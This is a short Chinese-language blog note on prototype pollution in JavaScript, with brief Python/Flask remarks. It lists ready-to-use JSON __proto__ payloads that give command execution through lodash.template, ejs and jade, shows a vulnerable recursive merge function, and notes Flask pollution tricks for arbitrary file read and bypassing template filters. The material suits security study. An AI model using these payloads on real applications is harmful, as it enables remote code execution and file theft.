Skip to content
blogs of mekrina
Go back

原型链污染

Updated:
Edit page

ruby

文章

javascript

文章 lodash模块漏洞

常用payload:

{"__proto__": {"admin": 1}}
// 配合lodash.template进行rce
{"__proto__":{"sourceURL":"\u000areturn e =>{return global.process.mainModule.constructor._load('child_process').execSync('whoami')}"}}
// 配合express的render方法进行rce
{"__proto__":{"outputFunctionName":"_tmp1;return global.process.mainModule.require('child_process').execSync('dir');var __tmp2"}}// ejs 模版引擎 version < 3.1.7
{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require(\'child_process\').execSync(\'whoami\'))"}} // jade 模板引擎

模块中的漏洞见如上链接. ![[Pasted image 20250115112602.png]] 一个简单的例子:

object1 = { a: 1, b: 2 };
object1.__proto__.foo = "Hello World";
console.log(object1.foo);
object2 = { c: 1, d: 2 };
console.log(object2.foo);

这里object2本来没有foo属性,可见object2.proto和object1是共享的。这样所有的object都带上了这个属性。

常见的攻击点:merge \ Object.assign

function merge(target, source) {
  for (let key in source) {
    if (key in source && key in target) {
      merge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
}

let object1 = {};
let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}');
merge(object1, object2);
console.log(object1.a, object1.b);

object3 = {};
console.log(object3.b);

递归merge, 会存在这样一个操作, object1.proto.b = object2.proto.b; 所以object的原型被污染,都带上了b,且值为2

python

修改app._static_folder为根目录,达成任意文件读 在模板注入+污染时,如果过滤了{, 可以考虑污染app.jinja_env.variable_start_string


Edit page